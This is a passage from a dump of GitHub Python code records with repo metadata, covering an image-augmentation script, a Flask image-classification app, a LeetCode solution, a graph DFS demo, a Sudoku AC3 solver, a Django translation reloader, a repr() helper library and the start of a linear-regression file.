DATASET_DIR + str(0), str(l_id))\n new_imgs = os.listdir(class_dir)\n for img_file in new_imgs:\n img_file_path = os.path.join(OUTDIR, DATASET_DIR + str(0), str(l_id), img_file)\n with Image.open(img_file_path) as img:\n dim = img.point(lambda p: p * 0.7)\n brighten = img.point(lambda p: p * 1.3)\n for i in range(NUM_DATASETS):\n new_file_name_d = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}{}.jpg'.format(img_file[:-4], 'd'))\n new_file_name_b = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}{}.jpg'.format(img_file[:-4], 'b'))\n dim.save(new_file_name_d, format='JPEG')\n brighten.save(new_file_name_b, format='JPEG')\n\n new_imgs = os.listdir(class_dir)\n for img_file in new_imgs:\n img_file_path = os.path.join(OUTDIR, DATASET_DIR + str(0), str(l_id), img_file)\n with Image.open(img_file_path) as img:\n grey = img.convert('L')\n for i in range(NUM_DATASETS):\n new_file_name_g = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}{}.jpg'.format(img_file[:-4], 'g'))\n grey.save(new_file_name_g, format='JPEG')\n\n new_imgs = os.listdir(class_dir)\n for img_file in new_imgs:\n img_file_path = os.path.join(OUTDIR, DATASET_DIR + str(0), str(l_id), img_file)\n with Image.open(img_file_path) as img:\n w, h = img.size\n for j in range(4):\n x = random.randint(0, w-NEW_W-1)\n y = random.randint(0, h-NEW_H-1)\n crop = img.crop((x,y, x+NEW_W, y+NEW_H))\n for i in range(NUM_DATASETS):\n new_file_name_c = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}{}{}.jpg'.format(img_file[:-4], 'c', str(j)))\n crop.save(new_file_name_c, format='JPEG')\n\n # Resize them\n new_imgs = os.listdir(class_dir)\n for img_file in new_imgs:\n img_file_path = os.path.join(OUTDIR, DATASET_DIR + str(0), str(l_id), img_file)\n with Image.open(img_file_path) as img:\n resize = img.resize((NEW_H,NEW_W))\n for i in range(NUM_DATASETS):\n new_file_name_R = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}{}.jpg'.format(img_file[:-4], 'R'))\n to_remove_file_path = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), img_file)\n os.remove(to_remove_file_path)\n resize.save(new_file_name_R, format='JPEG')\n\n new_imgs = os.listdir(class_dir)\n assert(len(new_imgs) == 60)\n\n except Exception as e:\n print('Error with PIL')\n print(traceback.format_exc())\n\n def process_label(self, img_label):\n '''\n Proccesses label. Get images that correspond to that labels and figures out all 60 images (some new that are\n transformed) that will represent that label\n '''\n def superset(list_):\n sets = [set([])]\n for n in list_:\n sets.extend([s | {n} for s in sets])\n return sets\n\n try:\n\n # For upsampling: Get all images corresponding to that label (less than 60), and perform the relevant image transformations to each of them, and then sample 60 images from that.\n '''\n ImageTransformations:\n d: dim\n B: brighten 1.4\n b: brighten 1.3\n g: grayscale\n c: crop\n f: flip\n R: resized\n '''\n\n (index, l_id, lid_count, label) = img_label\n\n # Create directories for all the labels in each dataset.\n for i in range(NUM_DATASETS):\n labels_dir = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id))\n if not os.path.exists(labels_dir):\n os.mkdir(labels_dir)\n\n # For downsampling: for every dataset, sample 60 random images that have the label l_id\n if label == 'downsample':\n for i in range(NUM_DATASETS):\n downsamples = np.random.choice(self.lid_to_imgs[l_id], 60, replace=False)\n for img_id in downsamples:\n img_file_path = os.path.join(IMAGES, '{}.jpg'.format(img_id))\n with Image.open(img_file_path) as img:\n new_img_file_path = os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id), '{}.jpg'.format(img_id))\n img.resize((NEW_H,NEW_W)).save(new_img_file_path, format='JPEG')\n new_imgs = os.listdir(os.path.join(OUTDIR, DATASET_DIR + str(i), str(l_id)))\n assert(len(new_imgs) == 60)\n\n elif label == 'upsample_0': # flip (x2), dim/bright (x3), color-transform (x2), 4-crops (x5), total: x60\n self.upsample_1_to_60(l_id)\n\n else:\n lower_q = lid_count - 60 % lid_count\n upper_q = lid_count - lower_q\n lower = int(60 / lid_count)\n upper = lower + 1\n if label == 'upsample_1': # flip (x2), dim (x2), Bright (double strength of dim)(x2), color-transform (x2), crop (x2), total: x32, downsample to 60\n ss = superset(['f','d','B','g','c'])\n if label == 'upsample_2': # flip (x2), dim (x2), Bright (x2), crop (x2), total: x16, downsample to 60\n ss = superset(['f','d','B','c'])\n if label == 'upsample_3': # flip (x2), crop (x2), total: x4, downsample to 60\n ss = superset(['f','c'])\n if label == 'upsample_4':\n ss = superset(['f'])\n id_to_transformations = { img: [''.join(s) for s in ss] for img in self.lid_to_imgs[l_id] } # Maps img_id to a list of transformations that must be done to that image.\n lower_sample = random.sample(list(id_to_transformations), lower_q) # lower_sample: image_ids that will use lower_q tranformations\n upper_sample = set(list(id_to_transformations)) - set(lower_sample) # upper_sample: image_ids that will use upper_q tranformation\n for img in lower_sample:\n id_to_transformations[img] = random.sample(id_to_transformations[img], lower)\n for img in upper_sample:\n id_to_transformations[img] = random.sample(id_to_transformations[img], upper)\n\n # Make sure we produce the correct number of upsamples.\n all_transformations = []\n for img in id_to_transformations:\n for t in id_to_transformations[img]:\n all_transformations.append(t)\n assert(len(all_transformations) == 60)\n\n self.transformImages(l_id, id_to_transformations)\n\n\n return 0\n except Exception as e:\n print('Unable to process l_id: {}, label: {}. Error: {}'.format(l_id, label, e))\n print(traceback.format_exc())\n return 1\n\n\n def process_labels_threaded(self, labels):\n\n def thread_target(t_id):\n global c\n global num_done\n while True:\n c.acquire()\n remaining = len(labels)\n if remaining % 500 == 0:\n print('Labels remaining: {}'.format(remaining))\n if remaining == 0:\n num_done += 1\n if num_done == NUM_WORKERS:\n c.notify_all()\n c.release()\n return\n\n img_label = labels.pop()\n c.release()\n self.process_label(img_label)\n\n global c\n c = threading.Condition()\n c.acquire()\n\n # Start and join threads\n threads = [ threading.Thread(target=thread_target, args=(str(i))) for i in range(NUM_WORKERS) ]\n\n global num_done\n num_done = 0\n for t_id, t in enumerate(threads):\n t.start()\n c.wait()\n c.release()\n for t_id, t in enumerate(threads):\n threads[t_id].join()\n\n print('DONE')\n\n\n def run(self):\n\n # Make Train directories\n if not os.path.exists(OUTDIR):\n os.mkdir(OUTDIR)\n for i in range(NUM_DATASETS):\n dataset_dir = os.path.join(OUTDIR, DATASET_DIR + str(i))\n if not os.path.exists(dataset_dir):\n os.mkdir(dataset_dir)\n\n\n labels = self.get_labels(CSV_FILE) # Produce labels. maps { l_id: label_of(l_id) }\n self.total_labels = len(labels)\n print('num labels: {}'.format(self.total_labels))\n\n # Load pickle file: lid_to_imgs (maps { l_lid to list of images with that label }\n self.load_lid_to_imgs()\n\n # Load\n self.process_labels_threaded(labels)\n\n print('Checking that we have {} number of class directories.'.format(self.total_labels))\n class_dirs = os.listdir(os.path.join(OUTDIR, DATASET_DIR + str(i)))\n if len(class_dirs) != self.total_labels:\n print('[ERROR] There are {} class directories.'.format(len(class_dirs)))\n else:\n print('Check passed!')\n\n print('Making sure all directories have 60 images.')\n for i in tqdm.tqdm(range(NUM_DATASETS)):\n for class_dir in class_dirs:\n class_dir_path = os.path.join(OUTDIR, DATASET_DIR + str(i), class_dir)\n if len(os.listdir(class_dir_path)) != 60:\n print('[ERROR] Dir {} does not have 60 images in it!!'.format(class_dir_path))\n print('DONE!')\n\ndef main():\n loader = Loader()\n loader.run()\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lfvarela/LandmarkDetection","sub_path":"Scripts/generate_datasets.py","file_name":"generate_datasets.py","file_ext":"py","file_size_in_byte":16423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33074672705","text":"# Multi-paradigm programming languages, task №5.3\n# Andrey Fortus IKM-221a\n\n# Square root function\ndef square_root(start_value):\n x_value = start_value\n while abs(x_value * x_value - start_value) > 1e-8:\n x_value = (x_value + start_value / x_value) / 2\n return round(x_value, 3)\n\n\nGENERAL_INFO = 'Multi-paradigm programming languages, task №5.3'\nSTUDENT_INFO = 'Andrey Fortus IKM-221a variant №20'\n\n# info\nprint(GENERAL_INFO)\nprint(STUDENT_INFO)\n\n\n# find square root\ndef main():\n try:\n n_value = float(input('Input value: '))\n except ValueError:\n print('Value must not be string!')\n else:\n if n_value < 0:\n raise ValueError('value must be equal or greater than 0')\n print(f'Square {n_value} equal {square_root(n_value)}')\n","repo_name":"AndreyFortus/Python_Projects","sub_path":"lab_5/task_5_3.py","file_name":"task_5_3.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69990009709","text":"#!/usr/bin/env python\nfrom flask import Flask, request\nfrom google.cloud import storage\nfrom online_prediction import predict_json\nimport base64\nimport json\nimport uuid\nfrom PIL import Image\n\napp = Flask(__name__)\nclient = storage.Client()\n\n\n@app.route('/', methods=['GET'])\ndef main_page():\n return \"welcome to page\"\n\n\n@app.route('/info-pos/', methods=['GET'])\ndef get_info_pos():\n print (\"got info-pos request\")\n\n uid = str(uuid.uuid4())\n bucket = request.args.get('bucket')\n path = request.args.get('path')\n\n result = classify(\"info_panel_classifier\", uid, bucket, path)\n res = {'right': result[0], 'bottom': result[1]}\n return json.dumps(res)\n\n@app.route('/image-type/', methods=['GET'])\ndef get_image_type():\n print (\"got image-type request\")\n\n uid = str(uuid.uuid4())\n bucket = request.args.get('bucket')\n path = request.args.get('path')\n\n result = classify(\"image_type_classifier\", uid, bucket, path)\n res = {'spec': result[0], 'detail': result[1], 'plan': result[2]}\n return json.dumps(res)\n\n@app.errorhandler(500)\ndef server_error(e):\n logging.exception('An error occurred during a request.')\n return \"\"\"\n An internal error occurred: <pre>{}</pre>\n See logs for full stacktrace.\n \"\"\".format(e), 500\n\n\ndef classify(model, uid, bucket, path):\n bucket = client.get_bucket(bucket)\n blob_img = bucket.blob(path)\n with open('/tmp/' + uid, 'w+') as file_img:\n blob_img.download_to_file(file_img)\n\n Image.open('/tmp/' + uid).convert('RGB').save('/tmp/' + uid + '.jpg', quality=80)\n # img.save('/tmp/' + uid + '.jpg')\n basewidth = 2048\n with Image.open('/tmp/' + uid + '.jpg') as img:\n # wpercent = (basewidth/float(img.size[0]))\n # hsize = int((float(img.size[1])*float(wpercent)))\n # img = img.resize((basewidth,hsize), Image.LANCZOS)\n # img.save(outfile, \"JPEG\", quality=100)\n\n if img.size[0] > img.size[1] and img.size[0] > basewidth:\n print('width: {}'.format(img.size[0]))\n wpercent = (basewidth/float(img.size[0]))\n hsize = int((float(img.size[1])*float(wpercent)))\n img = img.resize((basewidth,hsize), Image.ANTIALIAS)\n img.save('/tmp/' + uid + '.jpg', quality=80)\n print(\"resized file\")\n elif img.size[1] > img.size[0] and img.size[1] > basewidth:\n baseheight = basewidth\n print('height: {}'.format(img.size[1]))\n hpercent = (baseheight/float(img.size[1]))\n wsize = int((float(img.size[0])*float(hpercent)))\n img = img.resize((baseheight,wsize), Image.ANTIALIAS)\n img.save('/tmp/' + uid + '.jpg', quality=80)\n print(\"resized file\")\n\n\n img = base64.b64encode(open('/tmp/' + uid + '.jpg', \"rb\").read())\n result = (predict_json(\"oasis-build-747\", model, {\"image_bytes\": {\"b64\": img}}, \"V1\"))['prediction']\n return result\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n# [END app]\n","repo_name":"EdwardFeng523/Architectual-image-classifier","sub_path":"appEngine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12185652557","text":"\"\"\"\n 1、只出现一次的数字\n 2、list删除元素的三种操作:remove是删除首个符合条件(根据元素值)的元素,pop删除元素(根据索引值),del根据索引值删除元素\n\"\"\"\n\n# # 解法一\n# def singleNumber(nums):\n# # 先排序\n# nums.sort()\n# i = goal = 0\n# while i < len(nums):\n# key = nums[i]\n# nums.remove(key)\n# if key not in nums:\n# goal = key\n# i+=1\n# return goal\n\n# 解法二:力扣加加\n# 原则:任何数和0异或是自身,任何数与自身异或是0\n\ndef singleNumber(nums):\n single_number = 0\n for num in nums:\n single_number ^= num\n print(single_number)\n return single_number\n\n\n# # 解法三:力扣官解\n\n# from functools import reduce\n# def singleNumber(nums):\n# return reduce(lambda x, y: x^y, nums)\n\n\nnums = [4,1,2,1,2]\n# nums.pop(2)\n# nums.remove(nums[0])\n# print(nums)\nresult = singleNumber(nums)\nprint(result)","repo_name":"Sirwenhao/Leetcode_solution","sub_path":"Python_Solution/easy/leetcode_0136.py","file_name":"leetcode_0136.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"35669091536","text":"\r\nfrom enum import Enum\r\nfrom collections import OrderedDict\r\n\r\nclass State(Enum):\r\n unvisited =1\r\n visited =2\r\n visiting =3\r\n\r\nclass Node:\r\n \r\n def __init__(self,num):\r\n self.num = num\r\n self.visit_state = State.unvisited\r\n self.adjacent = OrderedDict() #key:Node val:weight\r\n \r\n \r\n def __str__(self):\r\n return str(self.num)\r\n \r\nclass Graph:\r\n def __init__(self):\r\n self.nodes = OrderedDict()\r\n \r\n \r\n def add_node(self,num):\r\n node = Node(num)\r\n self.nodes[num] = node\r\n return node\r\n \r\n def add_edge(self,source,dest,weight=0):\r\n \r\n if source not in self.nodes:\r\n self.add_node(source)\r\n \r\n if dest not in self.nodes:\r\n self.add_node(dest)\r\n \r\n self.nodes[source].adjacent[self.nodes[dest]] = weight\r\n \r\ndef dfs(g,start):\r\n visited = set()\r\n stack =[start]\r\n \r\n while stack:\r\n vertex = stack.pop()\r\n \r\n if vertex not in visited:\r\n visited.add(vertex)\r\n \r\n stack.extend(g[vertex] - visited)\r\n return visited\r\n\r\n \r\n \r\ng = Graph() \r\ng.add_edge('A','B',1) \r\ng.add_edge('A','C',1) \r\n\r\ng.add_edge('B','A',1) \r\ng.add_edge('B','D',1) \r\ng.add_edge('B','E',1) \r\n\r\ng.add_edge('C','A',1) \r\ng.add_edge('C','F',1) \r\n\r\ng.add_edge('D','B',1) \r\n\r\ng.add_edge('E','B',1) \r\ng.add_edge('E','F',1) \r\n\r\ng.add_edge('F','C',1) \r\ng.add_edge('F','E',1) \r\n\r\nprint(g.nodes)\r\n\r\n\r\nprint(dfs(g,'A'))\r\n \r\n\"\"\"\r\ng.add_edge(1,2,3)\r\n\r\ng = {'A':set(['B','C']),\r\n 'B':set(['A','D','E']),\r\n 'C':set(['A','F']),\r\n 'D':set(['B']),\r\n 'E':set(['B','F']),\r\n 'F':set(['C','E'])}\r\n\r\nprint(g.nodes)\r\n\"\"\"\r\n \r\n","repo_name":"atulanandnitt/questionsBank","sub_path":"advancedDataStructure/graph/@depthFirstSearch.py","file_name":"@depthFirstSearch.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6301022005","text":"from pathlib import Path\n\nfrom asgiref.local import Local\n\nfrom django.apps import apps\nfrom django.utils.autoreload import is_django_module\n\n\ndef watch_for_translation_changes(sender, **kwargs):\n \"\"\"Register file watchers for .mo files in potential locale paths.\"\"\"\n from django.conf import settings\n\n if settings.USE_I18N:\n directories = [Path(\"locale\")]\n directories.extend(\n Path(config.path) / \"locale\"\n for config in apps.get_app_configs()\n if not is_django_module(config.module)\n )\n directories.extend(Path(p) for p in settings.LOCALE_PATHS)\n for path in directories:\n sender.watch_dir(path, \"**/*.mo\")\n\n\ndef translation_file_changed(sender, file_path, **kwargs):\n \"\"\"Clear the internal translations cache if a .mo file is modified.\"\"\"\n if file_path.suffix == \".mo\":\n import gettext\n\n from django.utils.translation import trans_real\n\n gettext._translations = {}\n trans_real._translations = {}\n trans_real._default = None\n trans_real._active = Local()\n return True\n","repo_name":"django/django","sub_path":"django/utils/translation/reloader.py","file_name":"reloader.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"43494750698","text":"#Eric Chen\n#CMSC 471 Assigment 2\n#implementation of AC3 inspired by http://aima.cs.berkeley.edu/python/csp.html\n#implementation of backtracking inspired by https://www.techwithtim.net/tutorials/python-programming/sudoku-solver-backtracking/\n\n# How to run this code\n# 1.) Begin running the code\n# 2.) You will asked to enter an 81 char string\n# 3.) Enter that string\n# 4.) Code will convert the string into a 9x9 puzzle and try to solve it\n# 5.) Code will tell you if it can be solve and output a solved puzzle if so\n\nclass Sudoku:\n def __init__(self, puzzle):\n self.puzzle = [] #create a 9x9 array\n j = 0\n row = [] #row for the 9x9 array\n r = 0 #row\n c = 0 #column\n for i in range(81): #convert string into 9x9 array by adding each char\n if puzzle[i].isnumeric(): #insert number\n row.append([int(puzzle[i]), [1,2,3,4,5,6,7,8,9], [r, c]]) #each element in 9x9 array is the vaule, the domain, and the row/column postion.\n c += 1 #track colum\n else: #insert 0 if char is is \".\"\n row.append([0, [1,2,3,4,5,6,7,8,9], [r, c]])\n c += 1\n j += 1 #track number of elements in row\n if j == 9: #if row has 9 element, put it into puzzle\n self.puzzle.append(row)\n j = 0 #reset number of elements in row\n c = 0 #reset column\n r += 1 #track row\n row = [] #reset row\n\n\n def printPuzzle(self): #print out the assigned vaules of the puzzle\n print(\"Current Sudoku\")\n for i in range(len(self.puzzle)):\n for j in range(len(self.puzzle[i])):\n print(self.puzzle[i][j][0], end=\" \")\n print()\n print(\"_________________________________\")\n\n#Backtracking Search\n\ndef get_empty(puzzle): #find the next empty cell in puzzle starting from the top left\n for i in range(0, 9):\n for j in range(0, 9):\n if puzzle[i][j][0] == 0: #0 indicates empty or unassinged cell\n return i, j\n return False\n\n\ndef backtrackingsolve(puzzle):\n if get_empty(puzzle) == False: # end search if puzzle has no empty cells\n return True\n else:\n row, col = get_empty(puzzle) # get next empty cell\n for i in puzzle[row][col][1]: # check each vaule in the cell's domain to see if it is or is not allowed\n if backtrackingvalid(puzzle, i, (row, col)):\n puzzle[row][col][0] = i # if vaule is allowed, assigned it\n\n if backtrackingsolve(puzzle): #recursive call\n return True\n\n puzzle[row][col][0] = 0 # if assigned vaule does not solve the puzzle, set it back to 0 or empty\n return False\n\n\ndef backtrackingvalid(puzzle, num, positon): #checks every connected cell to see if possible vaule that is num is allowed\n for j in range(0, 9): #check every cell in col\n if puzzle[positon[0]][j][0] == num:\n return False\n\n for i in range(0, 9): #check every cell in row\n if puzzle[i][positon[1]][0] == num:\n return False\n\n startrow = positon[1] // 3\n startcol = positon[0] // 3\n\n for i in range(startcol * 3, startcol * 3 + 3): #check every cell in 3x3 section\n for j in range(startrow * 3, startrow * 3 + 3):\n if puzzle[i][j][0] == num and (i,j) != positon:\n return False\n return True\n\n\n#AC3 alogrithim\n\ndef AC3(puzzle):\n queue = []\n for i in range(len(puzzle)): #put all cells' coordinates into a stack\n for j in range(len(puzzle[i])):\n queue.append(puzzle[i][j][2])\n while len(queue) != 0:\n index = queue.pop() #pop cell's coordinates\n for i in range(0, 9): #check every cell in col\n if remove_arc_inconsistent(puzzle, index, (index[0], i)): #check for arc consistenty\n if len(puzzle[index[0]][i][1]) != 0: #if connected cell's domain is not empty, put it into the stack\n queue.append((index[0], i))\n else:\n return False\n\n for j in range(0, 9): #check every cell in row\n if remove_arc_inconsistent(puzzle, index, (j, index[1])):\n if len(puzzle[j][index[1]][1]) != 0:\n queue.append((j, index[1]))\n else:\n return False\n\n startrow = index[1] // 3\n startcol = index[0] // 3\n\n for i in range(startcol * 3, startcol * 3 + 3): #check every cell in 3x3 section\n for j in range(startrow * 3, startrow * 3 + 3):\n if remove_arc_inconsistent(puzzle, index, (i, j)):\n if len(puzzle[i][j][1]) != 0:\n queue.append((i, j))\n else:\n return False\n\n if backtrackingsolve(puzzle): #after removing all disallowed vaules, try to solve the puzzle\n return True\n else:\n return False\n\n\n\ndef remove_arc_inconsistent(puzzle, x_index, y_index):\n removed = False #indicated if a vaule in a domain is removed\n if puzzle[x_index[0]][x_index[1]][0] == 0 and puzzle[y_index[0]][y_index[1]][0] == 0: #can't check two cells with no assigned numbers\n return False\n for i in puzzle[x_index[0]][x_index[1]][1]: #check every vaule is domain of x_index cell\n if i == puzzle[y_index[0]][y_index[1]][0]:\n if i in puzzle[x_index[0]][x_index[1]][1]:\n puzzle[x_index[0]][x_index[1]][1].remove(i) #if vaule in domain is assigned in cell y_index, remove it if not already\n removed = True\n for i in puzzle[y_index[0]][y_index[1]][1]: #check every vaule is domain of y_index cell\n if i == puzzle[x_index[0]][x_index[1]][0]:\n if i in puzzle[y_index[0]][y_index[1]][1]:\n puzzle[y_index[0]][y_index[1]][1].remove(i) #if vaule in domain is assigned in cell x_index, remove it if not already\n removed = True\n return removed\n\n\n\n\n\nif __name__ == \"__main__\":\n puzzle = input(\"Enter your unsolved puzzle here: \")\n sudkou = Sudoku(puzzle)\n print(\"Unsolved puzzle\")\n sudkou.printPuzzle()\n if AC3(sudkou.puzzle):\n print(\"Puzzle Solved!\")\n sudkou.printPuzzle()\n else:\n print(\"Puzzle cannot be solved\")\n\n","repo_name":"echen1668/471Code","sub_path":"CSPSudoku.py","file_name":"CSPSudoku.py","file_ext":"py","file_size_in_byte":6303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71621638507","text":"\"\"\"\nBase class that provides a smarter `__repr__` function for your objects.\n\nThis package provides a base class, `EZRepr`, that automatically provides your objects and their descendants with a\n`repr()` implementation that works reasonably well in most cases, saving you the trouble of typing the usual\nboilerplate.\n\nEZRepr's `__repr__` implementation will try to automatically figure out the minimal set of fields it should render.\nSpecifically, it will render all fields that are explicitly initialized in the class body, as long as their current\nvalue is different from the default with which they were initialized. Note that this does not handle defaults provided\nin the constructor. For dataclasses, the list of fields will be queried using `dataclasses.fields`, eliminating the\nguesswork.\n\nYou can tweak various aspects of the rendering (as well as add extra fields) by overriding the `_ez_repr_head`,\n`ez_repr_fields` etc. methods.\n\nThe EZRepr renderer also handles nesting and multiline values better than Python's native `repr()`. It will try to\nbreak arrays, dicts and object contents over several lines so as to keep the output within a specified number of\ncolumns. You can use this more advanced renderer in your projects by calling the functions `ez_render_object`,\n`ez_render_value` and `as_is`.\n\"\"\"\n\nimport dataclasses\nimport textwrap\n\nimport typing\nfrom typing import Any, Iterable, Tuple, Optional, Mapping, Callable, Union, ItemsView, Sequence\n\nfrom collections import OrderedDict\n\nfrom atmfjstc.lib.py_lang_utils.data_objs import get_obj_likely_data_fields_with_defaults\n\n\nclass EZRepr:\n def __repr__(self, **kwargs) -> str:\n \"\"\"\n For the extra parameters accepted by this generated `repr()` implementation, refer to the `ez_render_object`\n function.\n \"\"\"\n return ez_render_object(self._ez_repr_head(), self._ez_repr_fields().items(), **kwargs)\n\n def _ez_repr_head(self) -> str:\n return self.__class__.__name__\n\n def _ez_repr_fields(self) -> typing.OrderedDict[str, Any]:\n data = OrderedDict()\n\n for field, default_value in self._ez_repr_iter_fields_and_defaults():\n try:\n current_value = getattr(self, field)\n except Exception:\n continue\n\n try:\n is_diff = (current_value != default_value)\n except Exception: # A custom __eq__() may throw exceptions, you never know...\n is_diff = True\n\n if is_diff:\n data[field] = current_value\n\n return data\n\n def _ez_repr_iter_fields_and_defaults(self) -> Iterable[Tuple[str, Any]]:\n if dataclasses.is_dataclass(self):\n for field in dataclasses.fields(self):\n yield field.name, field.default\n\n yield from get_obj_likely_data_fields_with_defaults(self, include_properties=False).items()\n\n\nRendererFunc = Union[Callable[[Any], str], Callable[..., str]]\nRenderers = Mapping[type, RendererFunc]\n\n\ndef ez_render_object(\n name: str, fields: Union[Iterable[Tuple[str, Any]], ItemsView[str, Any]],\n max_width: Optional[int] = 120, indent: int = 2, renderers: Optional[Renderers] = None\n) -> str:\n \"\"\"\n Helper for rendering an arbitrary class instance in the same way as a `EZRepr`-enabled class, provided you can\n supply the class name and the fields to be rendered.\n\n Args:\n name: The name rendererd for the object (usually a class name)\n fields: An iterable of (key, value) tuples describing the object's fields. The order of the fields will be\n preserved in the output.\n max_width: If not None, the renderer will try to make the representation fit the given number of columns by\n breaking up properties, lists and dicts over multiple lines if necessary. Otherwise, everything will be\n rendered on a single line as long as no value deep down has a multiline `repr()`.\n indent: How many columns to indent by when rendering the content of a multi-line object, array etc.\n renderers: A mapping from types to renderer functions that controls how values deep inside the object will\n be rendered. Normally `ez_render_value` would be called, but if a type in this dict matches (even as an\n ancestor), the corresponding function will be called instead.\n\n Note: The renderer function will receive the same parameters as `ez_render_value` (including `max_width`,\n etc) so that it can adapt to the available width in the same way. Naive single-parameter renderers will\n also be accepted.\n\n Returns:\n The (possibly multiline) string representation of the object.\n \"\"\"\n\n fields = list(fields) # Capture fields (we may only be able to iterate through them once)\n\n return _render_block(\n name + '(', ')', [value for _, value in fields],\n item_prompts=[field + '=' for field, _ in fields],\n max_width=max_width, indent=indent, renderers=renderers\n )\n\n\ndef ez_render_value(\n value: Any, max_width: Optional[int] = 120, indent: int = 2, renderers: Optional[Renderers] = None\n) -> str:\n \"\"\"\n Renders an arbitrary value using EZRepr's advanced renderer.\n\n - For native Python dicts, lists and tuples (but not their subclasses!), this renders them in a nice way that\n breaks them over multiple lines in order to fit the maximum width or accommodate multi-line values\n - For EZRepr-enabled values, this ensures that the user-supplied indent, etc. params are passed to the underlying\n renderer (it may seem useless to call `ez_render_value` directly just for that, but note that `ez_render_value` is\n called automatically for each value in a list etc.)\n - Other values will just be rendered using `repr()`.\n\n The `max_width`, `indent` and `renderers` parameters are the same as for `ez_render_object`.\n \"\"\"\n if renderers is not None:\n for cls in value.__class__.__mro__:\n if cls in renderers:\n renderer = renderers[cls]\n\n try:\n # Try full featured renderer first\n return renderer(value, max_width=max_width, indent=indent, renderers=renderers)\n except Exception:\n pass\n\n # Fall back to a naive renderer interface\n return renderer(value)\n\n if type(value) == tuple:\n return _render_block('(', ')', value, max_width=max_width, indent=indent, tuple_mode=True, renderers=renderers)\n if type(value) == list:\n return _render_block('[', ']', value, max_width=max_width, indent=indent, renderers=renderers)\n if type(value) == dict:\n items = value.items()\n return _render_block(\n '{', '}', [v for _, v in items],\n item_prompts=[repr(k) + ': ' for k, _ in items], max_width=max_width, indent=indent, renderers=renderers\n )\n\n if isinstance(value, EZRepr):\n try:\n # Note: this will only work if the user did not override the repr() supplied by EZRepr\n return value.__repr__(max_width=max_width, indent=indent, renderers=renderers)\n except Exception:\n pass\n\n # Fall back to the usual repr()\n return repr(value)\n\n return repr(value)\n\n\ndef _render_block(\n head: str, tail: str, items: Sequence[Any], max_width: Optional[int], indent: int,\n item_prompts: Sequence[str] = None, tuple_mode: bool = False, renderers: Optional[Renderers] = None\n) -> str:\n if item_prompts is None:\n item_prompts = [''] * len(items)\n\n last_comma = ',' if (tuple_mode and (len(items) == 1)) else ''\n item_tails = ([','] * (len(items) - 1) + [last_comma]) if len(items) > 0 else []\n\n item_oneline_renders = [\n item_head + ez_render_value(item, max_width=None, renderers=renderers) + item_tail\n for item_head, item, item_tail in zip(item_prompts, items, item_tails)\n ]\n\n oneliner = head + ' '.join(item_oneline_renders) + tail\n if ((max_width is None) or (len(oneliner) < max_width)) and ('\\n' not in oneliner):\n return oneliner\n\n # Try multiline render\n\n new_width = (max_width - indent) if max_width is not None else None\n\n out_parts = [head]\n\n for item_head, item, item_tail, oneline_render in zip(item_prompts, items, item_tails, item_oneline_renders):\n if _test_oneliner(oneline_render, new_width):\n out_parts.append(' ' * indent + oneline_render)\n else:\n out_parts.append(textwrap.indent(\n item_head + ez_render_value(item, max_width=new_width, indent=indent, renderers=renderers) + item_tail,\n ' ' * indent,\n ))\n\n out_parts.append(tail)\n\n return '\\n'.join(out_parts)\n\n\ndef _test_oneliner(candidate: str, max_width: Optional[int]) -> bool:\n return ('\\n' not in candidate) and ((max_width is None) or (len(candidate) <= max_width))\n\n\ndef as_is(repr_value: str) -> '_AsIs':\n \"\"\"\n Takes a string and returns an object whose repr() will resolve to that string. Useful for injecting your own text in\n some other repr().\n \"\"\"\n return _AsIs(repr_value)\n\n\nclass _AsIs:\n _repr = None\n\n def __init__(self, repr_value: str):\n self._repr = repr_value\n\n def __repr__(self) -> str:\n return self._repr\n","repo_name":"goc9000/python-library","sub_path":"ez-repr/src/atmfjstc/lib/ez_repr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16537771186","text":"import numpy as np\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import *\n\ndef normalize(list_): # normalizasyon işlemi\n\n for i in range(len(list_)):\n list_[i] = (list_[i] - min(list_)) / (max(list_) - min(list_))\n\n return list_\n\ndef singleVarLinearReg1(t_0,t_1,x_1): #hipotez fonk. hesabı\n\n h_x = (t_0 * 1) + (t_1 * x_1)\n\n return h_x\n\ndef singleVarLinearReg2(t_0,t_1,x_1):\n h_x = (t_0 * 1) + (t_1 * np.sqrt(x_1))\n\n return h_x\n\ndef costFunc(t,matrix_): # bedel fonk.\n j_t = sum((t.dot(x) - y) ** 2 for x,y in matrix_)/(2 * len(matrix_))\n\n return j_t\n\ndef derCostFunc(t,matrix_): #bedel fonk. türevi\n j_t = sum((t.dot(x) - y) * x[1] for x,y in matrix_)/(len(matrix_))\n\n return j_t\n\ndef derCostFuncReg(t,matrix_): # bedel fonk. düzenlileştirilmesi\n j_t = sum((t.dot(x) - y) * x[1] + (10 / len(matrix_) * t[1]) for x,y in matrix_)/(len(matrix_))\n\n return j_t\n\ndef normalEquation(x,y): # normal denklem yaklaşımı\n x 